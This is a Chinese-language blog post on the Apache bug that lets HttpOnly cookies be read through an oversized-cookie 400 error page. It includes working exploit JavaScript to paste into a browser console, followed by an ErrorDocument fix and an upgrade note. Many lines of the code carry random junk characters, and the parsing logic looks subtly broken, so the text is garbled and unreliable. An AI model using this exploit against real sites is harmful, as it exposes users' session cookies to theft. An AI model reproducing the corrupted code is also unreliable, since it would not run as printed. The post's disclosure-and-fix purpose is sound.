Apache HttpOnly Cookie XSS跨站漏洞

admin

很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题，一般都采用给cookie加上httponly的属性，来禁止直接使用js得到用户的cookie，从而降低xss的危害，而这个问题刚好可以用来绕过cookie的这个httponly的属性。

用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车:


// http://www.exploit-db.com/exploits/18442/
function setCookies (good) {
+ `$ F6 z* i3 i6 W0 g7 J// Construct string for cookie value
9 f& k. h+ b8 t2 |9 [$ y; y0 B/ y- Zvar str = "";
for (var i=0; i< 819; i++) {
str += "x";
}
// Set cookies
for (i = 0; i < 10; i++) {
% L8 M9 z% y" N0 A9 V* Q" P4 s// Expire evil cookie
  D3 `% }" K6 X. a4 P* d/ r1 nif (good) {
/ z% C/ N1 |# g0 [var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
}
// Set evil cookie
else {
9 ~9 i8 Q& A+ M0 ^+ d( ivar cookie = "xss"+i+"="+str+";path=/";
1 _8 S2 |" c( b' k+ ^3 U. n- q}
( p' O- k0 D* B4 j; n+ Vdocument.cookie = cookie;
4 a! z1 _3 g5 c7 ]}
! T$ {- Q! o6 Y# h7 @6 @1 z}
, S8 q+ w# K: L- G; \2 L/ Qfunction makeRequest() {
: |! t2 p+ o9 T- X! J* U  ?setCookies();
function parseCookies () {
$ r- u: s& S& F- T& Y! gvar cookie_dict = {};
// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
// Replace newlines and match <pre> content
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
8 C2 v# d. _( Y0 C+ uif (content.length) {
// Remove Cookie: prefix
content = content[1].replace("Cookie: ", "");
  ^, P# Z; Z6 L5 P# e+ w% cvar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
" @- k# f* }9 d" s// Add cookies to object
: G7 F) B& k+ ~6 e1 ]for (var i=0; i<cookies.length; i++) {
var s_c = cookies.split('=',2);
6 Q0 T- c5 Z+ Z+ ?5 i- B7 |cookie_dict[s_c[0]] = s_c[1];
}
" q6 x, P7 F; v' @7 S9 j/ u, A}
// Unset malicious cookies
setCookies(true);
$ C% O- m4 ?8 U! C& A) ^* ^% aalert(JSON.stringify(cookie_dict));
, P0 _9 q! }& g8 Q  i2 Y3 d- o}
" k1 [. l: O: l' C0 Z}
4 p; M5 h1 {' u. @1 q0 z/ C% O// Make XHR request
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
xhr.open("GET", "/", true);
6 \. F7 u- o" @* R; p: N4 @xhr.send(null);
1 H. P+ B' l% J; {  v# ]}
0 l8 R& j* q: r, Z! @0 \6 G+ Q( ?" [1 CmakeRequest();

* i- T. ]/ p9 G3 H5 H% ?  m7 T% b6 l你就能看见华丽丽的400错误包含着cookie信息。

+ C3 U, f/ F; p5 \下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
$ A8 p8 Y2 y+ @& T: q/ E
修复方案：

- f  B  t1 [5 w1 s* V. XApache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下

In the event of a problem or error, Apachecan be configured to do one of four things,
! _4 n7 y" i- W4 _+ a  r$ w9 B
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
2. output acustomized message输出一段信息
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
4. redirect to an external URL to handle theproblem/error转向一个外部URL
8 v8 B; h3 k$ i( r) b7 x
% L  p* I" P& U) v& \3 ]- T经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容

: j" J# L9 W& M* x, ~Apache配置：

, }) z3 I1 C- R* M* [ErrorDocument400 " security test"

当然，升级apache到最新也可：）。

& _% ]. }3 {* j参考：http://httpd.apache.org/security/vulnerabilities_22.html